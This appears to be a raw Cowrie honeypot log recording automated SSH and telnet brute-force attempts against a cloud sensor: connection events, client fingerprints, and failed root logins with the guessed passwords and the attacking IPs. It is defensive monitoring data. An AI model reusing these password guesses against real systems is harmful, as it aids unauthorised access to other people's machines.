{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:17.465916Z","src_ip":"60.165.124.241","session":"b0decc5d32a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:17.702428Z","src_ip":"60.165.124.241","session":"b0decc5d32a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ASDFGHJKL","message":"login attempt [root/ASDFGHJKL] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:18.419361Z","src_ip":"60.165.124.241","session":"b0decc5d32a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:19.660566Z","src_ip":"60.165.124.241","session":"b0decc5d32a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56442,"dst_ip":"10.17.0.5","dst_port":22,"session":"835346c4ccef","protocol":"ssh","message":"New connection: 60.165.124.241:56442 (10.17.0.5:22) [session: 835346c4ccef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:19.892381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:19.897958Z","src_ip":"60.165.124.241","session":"835346c4ccef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":41934,"dst_ip":"159.203.135.109","dst_port":23,"session":"0121ffea5b1d","protocol":"telnet","message":"New connection: 199.103.57.63:41934 (159.203.135.109:23) [session: 0121ffea5b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:20.137972Z"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:20.143276Z","src_ip":"60.165.124.241","session":"835346c4ccef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ctyun@2024","message":"login attempt [root/Ctyun@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:20.866730Z","src_ip":"60.165.124.241","session":"835346c4ccef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.002058267593384,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:20.947503Z","src_ip":"198.58.117.211","session":"136ca7572970","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":41952,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c7f6b1c52d1","protocol":"telnet","message":"New connection: 198.58.117.211:41952 (10.17.0.5:23) [session: 9c7f6b1c52d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:20.987937Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:22.106053Z","src_ip":"60.165.124.241","session":"835346c4ccef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59420,"dst_ip":"10.17.0.5","dst_port":22,"session":"c20d2d3fdeb8","protocol":"ssh","message":"New connection: 60.165.124.241:59420 (10.17.0.5:22) [session: c20d2d3fdeb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:22.340927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:22.345669Z","src_ip":"60.165.124.241","session":"c20d2d3fdeb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:22.583944Z","src_ip":"60.165.124.241","session":"c20d2d3fdeb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"secure123","message":"login attempt [root/secure123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:23.324445Z","src_ip":"60.165.124.241","session":"c20d2d3fdeb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:24.562153Z","src_ip":"60.165.124.241","session":"c20d2d3fdeb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34168,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8e931966afc","protocol":"ssh","message":"New connection: 60.165.124.241:34168 (10.17.0.5:22) [session: a8e931966afc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:24.796214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:24.801302Z","src_ip":"60.165.124.241","session":"a8e931966afc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:25.042135Z","src_ip":"60.165.124.241","session":"a8e931966afc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsW@","message":"login attempt [root/1qazxsW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:25.761000Z","src_ip":"60.165.124.241","session":"a8e931966afc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.001756906509399,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:25.989580Z","src_ip":"198.58.117.211","session":"9c7f6b1c52d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":36302,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3790bc44592","protocol":"telnet","message":"New connection: 198.58.117.211:36302 (10.17.0.5:23) [session: b3790bc44592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:26.032529Z"}
{"eventid":"cowrie.login.failed","username":"GET /devicedesc.xml HTTP/1.1","password":"","message":"login attempt [GET /devicedesc.xml HTTP/1.1/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:26.037288Z","src_ip":"198.58.117.211","session":"b3790bc44592","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:27.000789Z","src_ip":"60.165.124.241","session":"a8e931966afc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36870,"dst_ip":"10.17.0.5","dst_port":22,"session":"45a9425d4cb7","protocol":"ssh","message":"New connection: 60.165.124.241:36870 (10.17.0.5:22) [session: 45a9425d4cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:27.229293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:27.234051Z","src_ip":"60.165.124.241","session":"45a9425d4cb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:27.468331Z","src_ip":"60.165.124.241","session":"45a9425d4cb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"foxhis.maint","message":"login attempt [root/foxhis.maint] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:28.195049Z","src_ip":"60.165.124.241","session":"45a9425d4cb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:29.433263Z","src_ip":"60.165.124.241","session":"45a9425d4cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39536,"dst_ip":"10.17.0.5","dst_port":22,"session":"e875d185bafc","protocol":"ssh","message":"New connection: 60.165.124.241:39536 (10.17.0.5:22) [session: e875d185bafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:29.668410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:29.673130Z","src_ip":"60.165.124.241","session":"e875d185bafc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:29.911323Z","src_ip":"60.165.124.241","session":"e875d185bafc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345++","message":"login attempt [root/Abc12345++] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:30.648395Z","src_ip":"60.165.124.241","session":"e875d185bafc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.005627632141113,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:31.037656Z","src_ip":"198.58.117.211","session":"b3790bc44592","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":36414,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc8e3fe404b0","protocol":"telnet","message":"New connection: 198.58.117.211:36414 (10.17.0.5:23) [session: fc8e3fe404b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:31.079677Z"}
{"eventid":"cowrie.login.failed","username":"CONNECT","password":"accept-version:1.2","message":"login attempt [CONNECT/accept-version:1.2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:31.087877Z","src_ip":"198.58.117.211","session":"fc8e3fe404b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:31.889436Z","src_ip":"60.165.124.241","session":"e875d185bafc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42538,"dst_ip":"10.17.0.5","dst_port":22,"session":"62bda4c59c33","protocol":"ssh","message":"New connection: 60.165.124.241:42538 (10.17.0.5:22) [session: 62bda4c59c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:32.135051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:32.139107Z","src_ip":"60.165.124.241","session":"62bda4c59c33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:32.385356Z","src_ip":"60.165.124.241","session":"62bda4c59c33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@#123","message":"login attempt [root/admin@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:33.139272Z","src_ip":"60.165.124.241","session":"62bda4c59c33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:34.386318Z","src_ip":"60.165.124.241","session":"62bda4c59c33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45538,"dst_ip":"10.17.0.5","dst_port":22,"session":"42b78d247e62","protocol":"ssh","message":"New connection: 60.165.124.241:45538 (10.17.0.5:22) [session: 42b78d247e62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:34.629937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:34.634269Z","src_ip":"60.165.124.241","session":"42b78d247e62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:53:34.876833Z","src_ip":"60.165.124.241","session":"42b78d247e62","protocol":"ssh"}
